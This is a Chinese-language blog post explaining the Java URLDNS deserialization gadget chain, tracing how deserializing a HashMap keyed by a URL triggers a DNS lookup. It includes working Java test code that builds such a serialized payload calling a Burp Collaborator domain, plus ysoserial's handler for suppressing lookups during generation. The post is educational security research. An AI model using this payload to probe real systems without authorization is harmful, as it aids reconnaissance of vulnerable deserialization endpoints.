URLDNS 利用链

URLDNS

URLDNS

URLDNS 利用链是通过 HashMap<java.net.URL, Object> 反序列化时,会重新调用 URL 对象的 hashCode 方法,而该方法可能会发起一个 DNS 请求

调用链:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

URL

java.net.URL 实现了 java.io.Serializable 接口,因此可以被序列化。

属性
static final String BUILTIN_HANDLERS_PREFIX = "sun.net.www.protocol";
static final long serialVersionUID = -7627629688361524110L;
private static final String protocolPathProp = "java.protocol.handler.pkgs";
private String protocol;
private String host;
private int port = -1;
private String file;
private transient String query;
private String authority;
private transient String path;
private transient String userInfo;
private String ref;
private transient InetAddress hostAddress;
transient URLStreamHandler handler;
private int hashCode = -1;
private transient UrlDeserializedState tempState;
hashCode 的调用

URL包含私有属性 hashCode,用于表示 hashCode 的方法的返回值,初始值为 \(-1\)

private int hashCode = -1;

URL#hashCode 源码:

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

除了构造时,使用 set 方法也会导致 hashCode 置为1。

DNS请求发起时机
hashCode

当URL对象的 hashCode\(-1\) 时(初始值),会调用属性的 transient URLStreamHandler handlerhashCode(URL) 方法来设置本对象的 hashCode 属性,并返回。

URLStreamHandler#hashCode(URL u) 源码:

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

该方法会获取 URL 对象的 protocolhostAddresshost、、fileportref 的 hashCode之和。

getHostAddress(u) 方法会调用 InetAddress.getByName(host) ,在第一次请求时会通过DNS请求来获取目标主机地址。

会获取映射IP中的第一个,即 InetAddress.getAllByName(host)[0]

getHostAddress

在调用 URL 对象的 getHostAddress() 方法时,会先判断 this.hostAddress 是否为 null,如果为null 这调用 InetAddress.getByName(host) 来获取主机地址,此时可能会发起DNS请求;否则直接返回。

反序列化时发起DNS请求

当URL被序列化时,重写的 writeObject 方法其实为默认的对象序列化方法:

private synchronized void writeObject(java.io.ObjectOutputStream s) throws IOException{
    s.defaultWriteObject(); // write the fields
}

而反序列化时,只会读取 protocolhostauthorityfilerefhashCode 值:

private synchronized void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    GetField gf = s.readFields();
    String protocol = (String)gf.get("protocol", null);
    if (getURLStreamHandler(protocol) == null) {
        throw new IOException("unknown protocol: " + protocol);
    }
    String host = (String)gf.get("host", null);
    int port = gf.get("port", -1);
    String authority = (String)gf.get("authority", null);
    String file = (String)gf.get("file", null);
    String ref = (String)gf.get("ref", null);
    int hashCode = gf.get("hashCode", -1);
    if (authority == null
        && ((host != null && host.length() > 0) || port != -1)) {
        if (host == null)
            host = "";
        authority = (port == -1) ? host : host + ":" + port;
    }
    tempState = new UrlDeserializedState(protocol, host, port, authority,
                                         file, ref, hashCode);
}

hostAddress 会在之后的 getHostAddress() 方法调用中被赋值。

利用 HashMap

HashMap 重写了序列化与反序列化时的方法,不会直接把table直接序列化,而是遍历所有的key单独序列化。而反序列化时会依次把对象反序列化,并 putval 添加进map中,期间会调用其 hashCode 方法来计算位置。

也就是说,如果 URL 对象作为 HashMap 的 key,在HashMap反序列化时,URL的 hashCode 方法会被调用。如果此时的 URL 对象的 hashCode 值为 -1 ,那么就可能会发起DNS请求。

可以通过反射将作为 key 的URL对象的 hashCode 属性设为 -1

@Test
public void testWrite() throws MalformedURLException, NoSuchFieldException, IllegalAccessException, FileNotFoundException {
    URL url = new URL("http://86cktzaj13fvqu74umute3f8gzmpae.burpcollaborator.net");
    Class<? extends URL> urlClass = url.getClass();
    Field hashCodeField = urlClass.getDeclaredField("hashCode");
    hashCodeField.setAccessible(true);
    System.out.println(hashCodeField.getInt(url));
    hashCodeField.setInt(url,0x3);
    HashMap<URL, String> hashMap = new HashMap<>();
    hashMap.put(url, url.getPath());
    hashCodeField.setInt(url, -1);
    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"))){
        oos.writeObject(hashMap);
    } catch (IOException e) {
        e.printStackTrace();
    }
}
@Test
public void testRead(){
    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));) {
        HashMap map = (HashMap)ois.readObject();
        System.out.println(map.toString());
    } catch (IOException | ClassNotFoundException e) {
        e.printStackTrace();
    }
}

通过 burpsuite Collaborator 或 http://www.dnslog.cn/ 可以获取域名并看到DNS解析记录。

防止在hashCode方法中 DNS 请求
反射修改 URL#hashCode 属性

只要通过反射将URL对象的 hashCode 属性值修改为 -1 以外的数值,就可以避免触发查找主机地址过程。

指定 URLStreamHandler

URLhashCode 方法中是由属性 handlerhashCode(URL) 方法确定的,而这个 URLStreamHandler 类型的 handler 可以在 URL 构造时指定:

public URL(String protocol, String host, int port, String file,
               URLStreamHandler handler) throws MalformedURLException {

而这个 URLStreamHandler 是常规的Stream protocol handler 的抽象超类,负责通过url连接数据流。

为了防止URL类通过该类获取主机地址,需要重写 getHostAddress(URL u) 方法:

protected InetAddress getHostAddress(URL u) {
    return u.getHostAddress();
}

除此之外,还需要实现抽象方法 getConnection(URL u)

:ysoserial 的 URLDNS.java 中为防止发出DNS请求而设置的的静态类

static class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}
posted @ 2020-03-29 16:33  NIShoushun  阅读(704)  评论(0编辑  收藏  举报